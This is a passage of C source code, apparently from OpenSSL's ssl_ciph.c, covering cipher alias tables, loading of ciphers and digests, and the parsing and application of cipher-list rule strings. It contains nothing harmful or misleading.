(some of those using only a single bit here * combine multiple key exchange algs according to the RFCs, e.g. kDHE * combines DHE_DSS and DHE_RSA) */ {0, SSL_TXT_kRSA, NULL, 0, SSL_kRSA}, {0, SSL_TXT_kEDH, NULL, 0, SSL_kDHE}, {0, SSL_TXT_kDHE, NULL, 0, SSL_kDHE}, {0, SSL_TXT_DH, NULL, 0, SSL_kDHE}, {0, SSL_TXT_kEECDH, NULL, 0, SSL_kECDHE}, {0, SSL_TXT_kECDHE, NULL, 0, SSL_kECDHE}, {0, SSL_TXT_ECDH, NULL, 0, SSL_kECDHE}, {0, SSL_TXT_kPSK, NULL, 0, SSL_kPSK}, {0, SSL_TXT_kRSAPSK, NULL, 0, SSL_kRSAPSK}, {0, SSL_TXT_kECDHEPSK, NULL, 0, SSL_kECDHEPSK}, {0, SSL_TXT_kDHEPSK, NULL, 0, SSL_kDHEPSK}, {0, SSL_TXT_kSRP, NULL, 0, SSL_kSRP}, {0, SSL_TXT_kGOST, NULL, 0, SSL_kGOST}, {0, SSL_TXT_kGOST18, NULL, 0, SSL_kGOST18}, /* server authentication aliases */ {0, SSL_TXT_aRSA, NULL, 0, 0, SSL_aRSA}, {0, SSL_TXT_aDSS, NULL, 0, 0, SSL_aDSS}, {0, SSL_TXT_DSS, NULL, 0, 0, SSL_aDSS}, {0, SSL_TXT_aNULL, NULL, 0, 0, SSL_aNULL}, {0, SSL_TXT_aECDSA, NULL, 0, 0, SSL_aECDSA}, {0, SSL_TXT_ECDSA, NULL, 0, 0, SSL_aECDSA}, {0, SSL_TXT_aPSK, NULL, 0, 0, SSL_aPSK}, {0, SSL_TXT_aGOST01, NULL, 0, 0, SSL_aGOST01}, {0, SSL_TXT_aGOST12, NULL, 0, 0, SSL_aGOST12}, {0, SSL_TXT_aGOST, NULL, 0, 0, SSL_aGOST01 | SSL_aGOST12}, {0, SSL_TXT_aSRP, NULL, 0, 0, SSL_aSRP}, /* aliases combining key exchange and server authentication */ {0, SSL_TXT_EDH, NULL, 0, SSL_kDHE, ~SSL_aNULL}, {0, SSL_TXT_DHE, NULL, 0, SSL_kDHE, ~SSL_aNULL}, {0, SSL_TXT_EECDH, NULL, 0, SSL_kECDHE, ~SSL_aNULL}, {0, SSL_TXT_ECDHE, NULL, 0, SSL_kECDHE, ~SSL_aNULL}, {0, SSL_TXT_NULL, NULL, 0, 0, 0, SSL_eNULL}, {0, SSL_TXT_RSA, NULL, 0, SSL_kRSA, SSL_aRSA}, {0, SSL_TXT_ADH, NULL, 0, SSL_kDHE, SSL_aNULL}, {0, SSL_TXT_AECDH, NULL, 0, SSL_kECDHE, SSL_aNULL}, {0, SSL_TXT_PSK, NULL, 0, SSL_PSK}, {0, SSL_TXT_SRP, NULL, 0, SSL_kSRP}, /* symmetric encryption aliases */ {0, SSL_TXT_3DES, NULL, 0, 0, 0, SSL_3DES}, {0, SSL_TXT_RC4, NULL, 0, 0, 0, SSL_RC4}, {0, SSL_TXT_RC2, NULL, 0, 0, 0, SSL_RC2}, {0, SSL_TXT_IDEA, NULL, 0, 0, 0, SSL_IDEA}, {0, SSL_TXT_SEED, NULL, 0, 0, 0, SSL_SEED}, {0, SSL_TXT_eNULL, NULL, 0, 0, 0, SSL_eNULL}, {0, SSL_TXT_GOST, NULL, 0, 0, 0, SSL_eGOST2814789CNT | SSL_eGOST2814789CNT12 | SSL_MAGMA | SSL_KUZNYECHIK}, {0, SSL_TXT_AES128, NULL, 0, 0, 0, SSL_AES128 | SSL_AES128GCM | SSL_AES128CCM | SSL_AES128CCM8}, {0, SSL_TXT_AES256, NULL, 0, 0, 0, SSL_AES256 | SSL_AES256GCM | SSL_AES256CCM | SSL_AES256CCM8}, {0, SSL_TXT_AES, NULL, 0, 0, 0, SSL_AES}, {0, SSL_TXT_AES_GCM, NULL, 0, 0, 0, SSL_AES128GCM | SSL_AES256GCM}, {0, SSL_TXT_AES_CCM, NULL, 0, 0, 0, SSL_AES128CCM | SSL_AES256CCM | SSL_AES128CCM8 | SSL_AES256CCM8}, {0, SSL_TXT_AES_CCM_8, NULL, 0, 0, 0, SSL_AES128CCM8 | SSL_AES256CCM8}, {0, SSL_TXT_CAMELLIA128, NULL, 0, 0, 0, SSL_CAMELLIA128}, {0, SSL_TXT_CAMELLIA256, NULL, 0, 0, 0, SSL_CAMELLIA256}, {0, SSL_TXT_CAMELLIA, NULL, 0, 0, 0, SSL_CAMELLIA}, {0, SSL_TXT_CHACHA20, NULL, 0, 0, 0, SSL_CHACHA20}, {0, SSL_TXT_GOST2012_GOST8912_GOST8912, NULL, 0, 0, 0, SSL_eGOST2814789CNT12}, {0, SSL_TXT_ARIA, NULL, 0, 0, 0, SSL_ARIA}, {0, SSL_TXT_ARIA_GCM, NULL, 0, 0, 0, SSL_ARIA128GCM | SSL_ARIA256GCM}, {0, SSL_TXT_ARIA128, NULL, 0, 0, 0, SSL_ARIA128GCM}, {0, SSL_TXT_ARIA256, NULL, 0, 0, 0, SSL_ARIA256GCM}, /* MAC aliases */ {0, SSL_TXT_MD5, NULL, 0, 0, 0, 0, SSL_MD5}, {0, SSL_TXT_SHA1, NULL, 0, 0, 0, 0, SSL_SHA1}, {0, SSL_TXT_SHA, NULL, 0, 0, 0, 0, SSL_SHA1}, {0, SSL_TXT_GOST94, NULL, 0, 0, 0, 0, SSL_GOST94}, {0, SSL_TXT_GOST89MAC, NULL, 0, 0, 0, 0, SSL_GOST89MAC | SSL_GOST89MAC12}, {0, SSL_TXT_SHA256, NULL, 0, 0, 0, 0, SSL_SHA256}, {0, SSL_TXT_SHA384, NULL, 0, 0, 0, 0, SSL_SHA384}, {0, SSL_TXT_GOST12, NULL, 0, 0, 0, 0, SSL_GOST12_256}, /* protocol version aliases */ {0, SSL_TXT_SSLV3, NULL, 0, 0, 0, 0, 0, SSL3_VERSION}, {0, SSL_TXT_TLSV1, NULL, 0, 0, 0, 0, 0, TLS1_VERSION}, {0, "TLSv1.0", NULL, 0, 0, 0, 0, 0, TLS1_VERSION}, {0, SSL_TXT_TLSV1_2, NULL, 0, 0, 0, 0, 0, TLS1_2_VERSION}, /* strength classes */ {0, SSL_TXT_LOW, NULL, 0, 0, 0, 0, 0, 0, 0, 0, 0, SSL_LOW}, {0, SSL_TXT_MEDIUM, NULL, 0, 0, 0, 0, 0, 0, 0, 0, 0, SSL_MEDIUM}, {0, SSL_TXT_HIGH, NULL, 0, 0, 0, 0, 0, 0, 0, 0, 0, SSL_HIGH}, /* FIPS 140-2 approved ciphersuite */ {0, SSL_TXT_FIPS, NULL, 0, 0, 0, ~SSL_eNULL, 0, 0, 0, 0, 0, SSL_FIPS}, /* "EDH-" aliases to "DHE-" labels (for backward compatibility) */ {0, SSL3_TXT_EDH_DSS_DES_192_CBC3_SHA, NULL, 0, SSL_kDHE, SSL_aDSS, SSL_3DES, SSL_SHA1, 0, 0, 0, 0, SSL_HIGH | SSL_FIPS}, {0, SSL3_TXT_EDH_RSA_DES_192_CBC3_SHA, NULL, 0, SSL_kDHE, SSL_aRSA, SSL_3DES, SSL_SHA1, 0, 0, 0, 0, SSL_HIGH | SSL_FIPS}, }; /* * Search for public key algorithm with given name and return its pkey_id if * it is available. Otherwise return 0 */ #ifdef OPENSSL_NO_ENGINE static int get_optional_pkey_id(const char *pkey_name) { const EVP_PKEY_ASN1_METHOD *ameth; int pkey_id = 0; ameth = EVP_PKEY_asn1_find_str(NULL, pkey_name, -1); if (ameth && EVP_PKEY_asn1_get0_info(&pkey_id, NULL, NULL, NULL, NULL, ameth) > 0) return pkey_id; return 0; } #else static int get_optional_pkey_id(const char *pkey_name) { const EVP_PKEY_ASN1_METHOD *ameth; ENGINE *tmpeng = NULL; int pkey_id = 0; ameth = EVP_PKEY_asn1_find_str(&tmpeng, pkey_name, -1); if (ameth) { if (EVP_PKEY_asn1_get0_info(&pkey_id, NULL, NULL, NULL, NULL, ameth) <= 0) pkey_id = 0; } ENGINE_finish(tmpeng); return pkey_id; } #endif /* masks of disabled algorithms */ static uint32_t disabled_enc_mask; static uint32_t disabled_mac_mask; static uint32_t disabled_mkey_mask; static uint32_t disabled_auth_mask; int ssl_load_ciphers(SSL_CTX *ctx) { size_t i; const ssl_cipher_table *t; disabled_enc_mask = 0; for (i = 0, t = ssl_cipher_table_cipher; i < SSL_ENC_NUM_IDX; i++, t++) { if (t->nid != NID_undef) { const EVP_CIPHER *cipher = ssl_evp_cipher_fetch(ctx->libctx, t->nid, ctx->propq); ctx->ssl_cipher_methods[i] = cipher; if (cipher == NULL) disabled_enc_mask |= t->mask; } } disabled_mac_mask = 0; for (i = 0, t = ssl_cipher_table_mac; i < SSL_MD_NUM_IDX; i++, t++) { const EVP_MD *md = ssl_evp_md_fetch(ctx->libctx, t->nid, ctx->propq); ctx->ssl_digest_methods[i] = md; if (md == NULL) { disabled_mac_mask |= t->mask; } else { int tmpsize = EVP_MD_size(md); if (!ossl_assert(tmpsize >= 0)) return 0; ctx->ssl_mac_secret_size[i] = tmpsize; } } disabled_mkey_mask = 0; disabled_auth_mask = 0; #ifdef OPENSSL_NO_RSA disabled_mkey_mask |= SSL_kRSA | SSL_kRSAPSK; disabled_auth_mask |= SSL_aRSA; #endif #ifdef OPENSSL_NO_DSA disabled_auth_mask |= SSL_aDSS; #endif #ifdef OPENSSL_NO_DH disabled_mkey_mask |= SSL_kDHE | SSL_kDHEPSK; #endif #ifdef OPENSSL_NO_EC disabled_mkey_mask |= SSL_kECDHE | SSL_kECDHEPSK; disabled_auth_mask |= SSL_aECDSA; #endif #ifdef OPENSSL_NO_PSK disabled_mkey_mask |= SSL_PSK; disabled_auth_mask |= SSL_aPSK; #endif #ifdef OPENSSL_NO_SRP disabled_mkey_mask |= SSL_kSRP; #endif /* * Check for presence of GOST 34.10 algorithms, and if they are not * present, disable appropriate auth and key exchange */ ssl_mac_pkey_id[SSL_MD_GOST89MAC_IDX] = get_optional_pkey_id(SN_id_Gost28147_89_MAC); if (ssl_mac_pkey_id[SSL_MD_GOST89MAC_IDX]) ctx->ssl_mac_secret_size[SSL_MD_GOST89MAC_IDX] = 32; else disabled_mac_mask |= SSL_GOST89MAC; ssl_mac_pkey_id[SSL_MD_GOST89MAC12_IDX] = get_optional_pkey_id(SN_gost_mac_12); if (ssl_mac_pkey_id[SSL_MD_GOST89MAC12_IDX]) ctx->ssl_mac_secret_size[SSL_MD_GOST89MAC12_IDX] = 32; else disabled_mac_mask |= SSL_GOST89MAC12; ssl_mac_pkey_id[SSL_MD_MAGMAOMAC_IDX] = get_optional_pkey_id(SN_magma_mac); if (ssl_mac_pkey_id[SSL_MD_MAGMAOMAC_IDX]) ctx->ssl_mac_secret_size[SSL_MD_MAGMAOMAC_IDX] = 32; else disabled_mac_mask |= SSL_MAGMAOMAC; ssl_mac_pkey_id[SSL_MD_KUZNYECHIKOMAC_IDX] = get_optional_pkey_id(SN_kuznyechik_mac); if (ssl_mac_pkey_id[SSL_MD_KUZNYECHIKOMAC_IDX]) ctx->ssl_mac_secret_size[SSL_MD_KUZNYECHIKOMAC_IDX] = 32; else disabled_mac_mask |= SSL_KUZNYECHIKOMAC; if (!get_optional_pkey_id(SN_id_GostR3410_2001)) disabled_auth_mask |= SSL_aGOST01 | SSL_aGOST12; if (!get_optional_pkey_id(SN_id_GostR3410_2012_256)) disabled_auth_mask |= SSL_aGOST12; if (!get_optional_pkey_id(SN_id_GostR3410_2012_512)) disabled_auth_mask |= SSL_aGOST12; /* * Disable GOST key exchange if no GOST signature algs are available * */ if ((disabled_auth_mask & (SSL_aGOST01 | SSL_aGOST12)) == (SSL_aGOST01 | SSL_aGOST12)) disabled_mkey_mask |= SSL_kGOST; if ((disabled_auth_mask & SSL_aGOST12) == SSL_aGOST12) disabled_mkey_mask |= SSL_kGOST18; return 1; } #ifndef OPENSSL_NO_COMP static int sk_comp_cmp(const SSL_COMP *const *a, const SSL_COMP *const *b) { return ((*a)->id - (*b)->id); } DEFINE_RUN_ONCE_STATIC(do_load_builtin_compressions) { SSL_COMP *comp = NULL; COMP_METHOD *method = COMP_zlib(); ssl_comp_methods = sk_SSL_COMP_new(sk_comp_cmp); if (COMP_get_type(method) != NID_undef && ssl_comp_methods != NULL) { comp = OPENSSL_malloc(sizeof(*comp)); if (comp != NULL) { comp->method = method; comp->id = SSL_COMP_ZLIB_IDX; comp->name = COMP_get_name(method); sk_SSL_COMP_push(ssl_comp_methods, comp); sk_SSL_COMP_sort(ssl_comp_methods); } } return 1; } static int load_builtin_compressions(void) { return RUN_ONCE(&ssl_load_builtin_comp_once, do_load_builtin_compressions); } #endif int ssl_cipher_get_evp_cipher(SSL_CTX *ctx, const SSL_CIPHER *sslc, const EVP_CIPHER **enc) { int i = ssl_cipher_info_lookup(ssl_cipher_table_cipher, sslc->algorithm_enc); if (i == -1) { *enc = NULL; } else { if (i == SSL_ENC_NULL_IDX) { /* * We assume we don't care about this coming from an ENGINE so * just do a normal EVP_CIPHER_fetch instead of * ssl_evp_cipher_fetch() */ *enc = EVP_CIPHER_fetch(ctx->libctx, "NULL", ctx->propq); if (*enc == NULL) return 0; } else { const EVP_CIPHER *cipher = ctx->ssl_cipher_methods[i]; if (cipher == NULL || !ssl_evp_cipher_up_ref(cipher)) return 0; *enc = ctx->ssl_cipher_methods[i]; } } return 1; } int ssl_cipher_get_evp(SSL_CTX *ctx, const SSL_SESSION *s, const EVP_CIPHER **enc, const EVP_MD **md, int *mac_pkey_type, size_t *mac_secret_size, SSL_COMP **comp, int use_etm) { int i; const SSL_CIPHER *c; c = s->cipher; if (c == NULL) return 0; if (comp != NULL) { SSL_COMP ctmp; #ifndef OPENSSL_NO_COMP if (!load_builtin_compressions()) { /* * Currently don't care, since a failure only means that * ssl_comp_methods is NULL, which is perfectly OK */ } #endif *comp = NULL; ctmp.id = s->compress_meth; if (ssl_comp_methods != NULL) { i = sk_SSL_COMP_find(ssl_comp_methods, &ctmp); *comp = sk_SSL_COMP_value(ssl_comp_methods, i); } /* If were only interested in comp then return success */ if ((enc == NULL) && (md == NULL)) return 1; } if ((enc == NULL) || (md == NULL)) return 0; if (!ssl_cipher_get_evp_cipher(ctx, c, enc)) return 0; i = ssl_cipher_info_lookup(ssl_cipher_table_mac, c->algorithm_mac); if (i == -1) { *md = NULL; if (mac_pkey_type != NULL) *mac_pkey_type = NID_undef; if (mac_secret_size != NULL) *mac_secret_size = 0; if (c->algorithm_mac == SSL_AEAD) mac_pkey_type = NULL; } else { if (!ssl_evp_md_up_ref(ctx->ssl_digest_methods[i])) { ssl_evp_cipher_free(*enc); return 0; } *md = ctx->ssl_digest_methods[i]; if (mac_pkey_type != NULL) *mac_pkey_type = ssl_mac_pkey_id[i]; if (mac_secret_size != NULL) *mac_secret_size = ctx->ssl_mac_secret_size[i]; } if ((*enc != NULL) && (*md != NULL || (EVP_CIPHER_flags(*enc) & EVP_CIPH_FLAG_AEAD_CIPHER)) && (!mac_pkey_type || *mac_pkey_type != NID_undef)) { const EVP_CIPHER *evp = NULL; if (use_etm || s->ssl_version >> 8 != TLS1_VERSION_MAJOR || s->ssl_version < TLS1_VERSION) return 1; if (c->algorithm_enc == SSL_RC4 && c->algorithm_mac == SSL_MD5) evp = ssl_evp_cipher_fetch(ctx->libctx, NID_rc4_hmac_md5, ctx->propq); else if (c->algorithm_enc == SSL_AES128 && c->algorithm_mac == SSL_SHA1) evp = ssl_evp_cipher_fetch(ctx->libctx, NID_aes_128_cbc_hmac_sha1, ctx->propq); else if (c->algorithm_enc == SSL_AES256 && c->algorithm_mac == SSL_SHA1) evp = ssl_evp_cipher_fetch(ctx->libctx, NID_aes_256_cbc_hmac_sha1, ctx->propq); else if (c->algorithm_enc == SSL_AES128 && c->algorithm_mac == SSL_SHA256) evp = ssl_evp_cipher_fetch(ctx->libctx, NID_aes_128_cbc_hmac_sha256, ctx->propq); else if (c->algorithm_enc == SSL_AES256 && c->algorithm_mac == SSL_SHA256) evp = ssl_evp_cipher_fetch(ctx->libctx, NID_aes_256_cbc_hmac_sha256, ctx->propq); if (evp != NULL) { ssl_evp_cipher_free(*enc); ssl_evp_md_free(*md); *enc = evp; *md = NULL; } return 1; } return 0; } const EVP_MD *ssl_md(SSL_CTX *ctx, int idx) { idx &= SSL_HANDSHAKE_MAC_MASK; if (idx < 0 || idx >= SSL_MD_NUM_IDX) return NULL; return ctx->ssl_digest_methods[idx]; } const EVP_MD *ssl_handshake_md(SSL *s) { return ssl_md(s->ctx, ssl_get_algorithm2(s)); } const EVP_MD *ssl_prf_md(SSL *s) { return ssl_md(s->ctx, ssl_get_algorithm2(s) >> TLS1_PRF_DGST_SHIFT); } #define ITEM_SEP(a) \ (((a) == ':') || ((a) == ' ') || ((a) == ';') || ((a) == ',')) static void ll_append_tail(CIPHER_ORDER **head, CIPHER_ORDER *curr, CIPHER_ORDER **tail) { if (curr == *tail) return; if (curr == *head) *head = curr->next; if (curr->prev != NULL) curr->prev->next = curr->next; if (curr->next != NULL) curr->next->prev = curr->prev; (*tail)->next = curr; curr->prev = *tail; curr->next = NULL; *tail = curr; } static void ll_append_head(CIPHER_ORDER **head, CIPHER_ORDER *curr, CIPHER_ORDER **tail) { if (curr == *head) return; if (curr == *tail) *tail = curr->prev; if (curr->next != NULL) curr->next->prev = curr->prev; if (curr->prev != NULL) curr->prev->next = curr->next; (*head)->prev = curr; curr->next = *head; curr->prev = NULL; *head = curr; } static void ssl_cipher_collect_ciphers(const SSL_METHOD *ssl_method, int num_of_ciphers, uint32_t disabled_mkey, uint32_t disabled_auth, uint32_t disabled_enc, uint32_t disabled_mac, CIPHER_ORDER *co_list, CIPHER_ORDER **head_p, CIPHER_ORDER **tail_p) { int i, co_list_num; const SSL_CIPHER *c; /* * We have num_of_ciphers descriptions compiled in, depending on the * method selected (SSLv3, TLSv1 etc). * These will later be sorted in a linked list with at most num * entries. */ /* Get the initial list of ciphers */ co_list_num = 0; /* actual count of ciphers */ for (i = 0; i < num_of_ciphers; i++) { c = ssl_method->get_cipher(i); /* drop those that use any of that is not available */ if (c == NULL || !c->valid) continue; if ((c->algorithm_mkey & disabled_mkey) || (c->algorithm_auth & disabled_auth) || (c->algorithm_enc & disabled_enc) || (c->algorithm_mac & disabled_mac)) continue; if (((ssl_method->ssl3_enc->enc_flags & SSL_ENC_FLAG_DTLS) == 0) && c->min_tls == 0) continue; if (((ssl_method->ssl3_enc->enc_flags & SSL_ENC_FLAG_DTLS) != 0) && c->min_dtls == 0) continue; co_list[co_list_num].cipher = c; co_list[co_list_num].next = NULL; co_list[co_list_num].prev = NULL; co_list[co_list_num].active = 0; co_list_num++; } /* * Prepare linked list from list entries */ if (co_list_num > 0) { co_list[0].prev = NULL; if (co_list_num > 1) { co_list[0].next = &co_list[1]; for (i = 1; i < co_list_num - 1; i++) { co_list[i].prev = &co_list[i - 1]; co_list[i].next = &co_list[i + 1]; } co_list[co_list_num - 1].prev = &co_list[co_list_num - 2]; } co_list[co_list_num - 1].next = NULL; *head_p = &co_list[0]; *tail_p = &co_list[co_list_num - 1]; } } static void ssl_cipher_collect_aliases(const SSL_CIPHER **ca_list, int num_of_group_aliases, uint32_t disabled_mkey, uint32_t disabled_auth, uint32_t disabled_enc, uint32_t disabled_mac, CIPHER_ORDER *head) { CIPHER_ORDER *ciph_curr; const SSL_CIPHER **ca_curr; int i; uint32_t mask_mkey = ~disabled_mkey; uint32_t mask_auth = ~disabled_auth; uint32_t mask_enc = ~disabled_enc; uint32_t mask_mac = ~disabled_mac; /* * First, add the real ciphers as already collected */ ciph_curr = head; ca_curr = ca_list; while (ciph_curr != NULL) { *ca_curr = ciph_curr->cipher; ca_curr++; ciph_curr = ciph_curr->next; } /* * Now we add the available ones from the cipher_aliases[] table. * They represent either one or more algorithms, some of which * in any affected category must be supported (set in enabled_mask), * or represent a cipher strength value (will be added in any case because algorithms=0). */ for (i = 0; i < num_of_group_aliases; i++) { uint32_t algorithm_mkey = cipher_aliases[i].algorithm_mkey; uint32_t algorithm_auth = cipher_aliases[i].algorithm_auth; uint32_t algorithm_enc = cipher_aliases[i].algorithm_enc; uint32_t algorithm_mac = cipher_aliases[i].algorithm_mac; if (algorithm_mkey) if ((algorithm_mkey & mask_mkey) == 0) continue; if (algorithm_auth) if ((algorithm_auth & mask_auth) == 0) continue; if (algorithm_enc) if ((algorithm_enc & mask_enc) == 0) continue; if (algorithm_mac) if ((algorithm_mac & mask_mac) == 0) continue; *ca_curr = (SSL_CIPHER *)(cipher_aliases + i); ca_curr++; } *ca_curr = NULL; /* end of list */ } static void ssl_cipher_apply_rule(uint32_t cipher_id, uint32_t alg_mkey, uint32_t alg_auth, uint32_t alg_enc, uint32_t alg_mac, int min_tls, uint32_t algo_strength, int rule, int32_t strength_bits, CIPHER_ORDER **head_p, CIPHER_ORDER **tail_p) { CIPHER_ORDER *head, *tail, *curr, *next, *last; const SSL_CIPHER *cp; int reverse = 0; OSSL_TRACE_BEGIN(TLS_CIPHER){ BIO_printf(trc_out, "Applying rule %d with %08x/%08x/%08x/%08x/%08x %08x (%d)\n", rule, alg_mkey, alg_auth, alg_enc, alg_mac, min_tls, algo_strength, strength_bits); } if (rule == CIPHER_DEL || rule == CIPHER_BUMP) reverse = 1; /* needed to maintain sorting between currently * deleted ciphers */ head = *head_p; tail = *tail_p; if (reverse) { next = tail; last = head; } else { next = head; last = tail; } curr = NULL; for (;;) { if (curr == last) break; curr = next; if (curr == NULL) break; next = reverse ? curr->prev : curr->next; cp = curr->cipher; /* * Selection criteria is either the value of strength_bits * or the algorithms used. */ if (strength_bits >= 0) { if (strength_bits != cp->strength_bits) continue; } else { if (trc_out != NULL) { BIO_printf(trc_out, "\nName: %s:" "\nAlgo = %08x/%08x/%08x/%08x/%08x Algo_strength = %08x\n", cp->name, cp->algorithm_mkey, cp->algorithm_auth, cp->algorithm_enc, cp->algorithm_mac, cp->min_tls, cp->algo_strength); } if (cipher_id != 0 && (cipher_id != cp->id)) continue; if (alg_mkey && !(alg_mkey & cp->algorithm_mkey)) continue; if (alg_auth && !(alg_auth & cp->algorithm_auth)) continue; if (alg_enc && !(alg_enc & cp->algorithm_enc)) continue; if (alg_mac && !(alg_mac & cp->algorithm_mac)) continue; if (min_tls && (min_tls != cp->min_tls)) continue; if ((algo_strength & SSL_STRONG_MASK) && !(algo_strength & SSL_STRONG_MASK & cp->algo_strength)) continue; if ((algo_strength & SSL_DEFAULT_MASK) && !(algo_strength & SSL_DEFAULT_MASK & cp->algo_strength)) continue; } if (trc_out != NULL) BIO_printf(trc_out, "Action = %d\n", rule); /* add the cipher if it has not been added yet. */ if (rule == CIPHER_ADD) { /* reverse == 0 */ if (!curr->active) { ll_append_tail(&head, curr, &tail); curr->active = 1; } } /* Move the added cipher to this location */ else if (rule == CIPHER_ORD) { /* reverse == 0 */ if (curr->active) { ll_append_tail(&head, curr, &tail); } } else if (rule == CIPHER_DEL) { /* reverse == 1 */ if (curr->active) { /* * most recently deleted ciphersuites get best positions for * any future CIPHER_ADD (note that the CIPHER_DEL loop works * in reverse to maintain the order) */ ll_append_head(&head, curr, &tail); curr->active = 0; } } else if (rule == CIPHER_BUMP) { if (curr->active) ll_append_head(&head, curr, &tail); } else if (rule == CIPHER_KILL) { /* reverse == 0 */ if (head == curr) head = curr->next; else curr->prev->next = curr->next; if (tail == curr) tail = curr->prev; curr->active = 0; if (curr->next != NULL) curr->next->prev = curr->prev; if (curr->prev != NULL) curr->prev->next = curr->next; curr->next = NULL; curr->prev = NULL; } } *head_p = head; *tail_p = tail; OSSL_TRACE_END(TLS_CIPHER); } static int ssl_cipher_strength_sort(CIPHER_ORDER **head_p, CIPHER_ORDER **tail_p) { int32_t max_strength_bits; int i, *number_uses; CIPHER_ORDER *curr; /* * This routine sorts the ciphers with descending strength. The sorting * must keep the pre-sorted sequence, so we apply the normal sorting * routine as '+' movement to the end of the list. */ max_strength_bits = 0; curr = *head_p; while (curr != NULL) { if (curr->active && (curr->cipher->strength_bits > max_strength_bits)) max_strength_bits = curr->cipher->strength_bits; curr = curr->next; } number_uses = OPENSSL_zalloc(sizeof(int) * (max_strength_bits + 1)); if (number_uses == NULL) { SSLerr(SSL_F_SSL_CIPHER_STRENGTH_SORT, ERR_R_MALLOC_FAILURE); return 0; } /* * Now find the strength_bits values actually used */ curr = *head_p; while (curr != NULL) { if (curr->active) number_uses[curr->cipher->strength_bits]++; curr = curr->next; } /* * Go through the list of used strength_bits values in descending * order. */ for (i = max_strength_bits; i >= 0; i--) if (number_uses[i] > 0) ssl_cipher_apply_rule(0, 0, 0, 0, 0, 0, 0, CIPHER_ORD, i, head_p, tail_p); OPENSSL_free(number_uses); return 1; } static int ssl_cipher_process_rulestr(const char *rule_str, CIPHER_ORDER **head_p, CIPHER_ORDER **tail_p, const SSL_CIPHER **ca_list, CERT *c) { uint32_t alg_mkey, alg_auth, alg_enc, alg_mac, algo_strength; int min_tls; const char *l, *buf; int j, multi, found, rule, retval, ok, buflen; uint32_t cipher_id = 0; char ch; retval = 1; l = rule_str; for ( ; ; ) { ch = *l; if (ch == '\0') break; /* done */ if (ch == '-') { rule = CIPHER_DEL; l++; } else if (ch == '+') { rule = CIPHER_ORD; l++; } else if (ch == '!') { rule = CIPHER_KILL; l++; } else if (ch == '@') { rule = CIPHER_SPECIAL; l++; } else { rule = CIPHER_ADD; } if (ITEM_SEP(ch)) { l++; continue; } alg_mkey = 0; alg_auth = 0; alg_enc = 0; alg_mac = 0; min_tls = 0; algo_strength = 0; for (;;) { ch = *l; buf = l; buflen = 0; #ifndef CHARSET_EBCDIC while (((ch >= 'A') && (ch <= 'Z')) || ((ch >= '0') && (ch <= '9')) || ((ch >= 'a') && (ch <= 'z')) || (ch == '-') || (ch == '.') || (ch == '=')) #else while (isalnum((unsigned char)ch) || (ch == '-') || (ch == '.') || (ch == '=')) #endif { ch = *(++l); buflen++; } if (buflen == 0) { /* * We hit something we cannot deal with, * it is no command or separator nor * alphanumeric, so we call this an error. */ SSLerr(SSL_F_SSL_CIPHER_PROCESS_RULESTR, SSL_R_INVALID_COMMAND); retval = found = 0; l++; break; } if (rule == CIPHER_SPECIAL) { found = 0; /* unused -- avoid compiler warning */ break; /* special treatment */ } /* check for multi-part specification */ if (ch == '+') { multi = 1; l++; } else { multi = 0; } /* * Now search for the cipher alias in the ca_list. Be careful * with the strncmp, because the "buflen" limitation * will make the rule "ADH:SOME" and the cipher * "ADH-MY-CIPHER" look like a match for buflen=3. * So additionally check whether the cipher name found * has the correct length. We can save a strlen() call: * just checking for the '\0' at the right place is * sufficient, we have to strncmp() anyway. (We cannot * use strcmp(), because buf is not '\0' terminated.) */ j = found = 0; cipher_id = 0; while (ca_list[j]) { if (strncmp(buf, ca_list[j]->name, buflen) == 0 && (ca_list[j]->name[buflen] == '\0')) { found = 1; break; } else j++; } if (!found) break; /* ignore this entry */ if (ca_list[j]->algorithm_mkey) { if (alg_mkey) { alg_mkey &= ca_list[j]->algorithm_mkey; if (!alg_mkey) { found = 0; break; } } else { alg_mkey = ca_list[j]->algorithm_mkey; } } if (ca_list[j]->algorithm_auth) { if (alg_auth) { alg_auth &= ca_list[j]->algorithm_auth; if (!alg_auth) { found = 0; break; } } else { alg_auth = ca_list[j]->algorithm_auth; } } if (ca_list[j]->algorithm_enc) { if (alg_enc) { alg_enc &= ca_list[j]->algorithm_enc; if (!alg_enc) { found = 0; break; } } else { alg_enc = ca_list[j]->algorithm_enc; } } if (ca_list[j]->algorithm_mac) { if (alg_mac) { alg_mac &= ca_list[j]->algorithm_mac; if (!alg_mac) { found = 0; break; } } else { alg_mac = ca_list[j]->algorithm_mac; } } if (ca_list[j]->algo_strength & SSL_STRONG_MASK) { if (algo_strength & SSL_STRONG_MASK) { algo_strength &= (ca_list[j]->algo_strength & SSL_STRONG_MASK) | ~SSL_STRONG_MASK; if (!(algo_strength & SSL_STRONG_MASK)) { found = 0; break; } } else { algo_strength = ca_list[j]->algo_strength & SSL_STRONG_MASK; } } if (ca_list[j]->algo_strength & SSL_DEFAULT_MASK) { if (algo_strength & SSL_DEFAULT_MASK) { algo_strength &= (ca_list[j]->algo_strength & SSL_DEFAULT_MASK) | ~SSL_DEFAULT_MASK; if (!(algo_strength & SSL_DEFAULT_MASK)) { found = 0; break; } } else { algo_strength |= ca_list[j]->algo_strength & SSL_DEFAULT_MASK; } } if (ca_list[j]->valid) { /* * explicit ciphersuite found; its protocol version does not * become part of the search pattern! */ cipher_id = ca_list[j]->id; } else { /* * not an explicit ciphersuite; only in this case, the * protocol version is considered part of the search pattern */ if (ca_list[j]->min_tls) { if (min_tls != 0 && min_tls != ca_list[j]->min_tls) { found = 0; break; } else { min_tls = ca_list[j]->min_tls; } } } if (!multi) break; } /* * Ok, we have the rule, now apply it */ if (rule == CIPHER_SPECIAL) { /* special command */ ok = 0; if ((buflen == 8) && strncmp(buf, "STRENGTH", 8) == 0) { ok = ssl_cipher_strength_sort(head_p, tail_p); } else if (buflen == 10 && strncmp(buf, "SECLEVEL=", 9) == 0) { int level = buf[9] - '0'; if (level < 0 || level > 5) { SSLerr(SSL_F_SSL_CIPHER_PROCESS_RULESTR, SSL_R_INVALID_COMMAND); } else { c->sec_level = level; ok = 1; } } else { SSLerr(SSL_F_SSL_CIPHER_PROCESS_RULESTR, SSL_R_INVALID_COMMAND); } if (ok == 0) retval = 0; /* * We do not support any "multi" options * together with "@", so throw away the * rest of the command, if any left, until * end or ':' is found. */ while ((*l != '\0') && !ITEM_SEP(*l)) l++; } else if (found) { ssl_cipher_apply_rule(cipher_id, alg_mkey, alg_auth, alg_enc, alg_mac, min_tls, algo_strength, rule, -1, head_p, tail_p); } else { while ((*l != '\0') && !ITEM_SEP(*l)) l++; } if (*l == '\0') break; /* done */ } return retval; 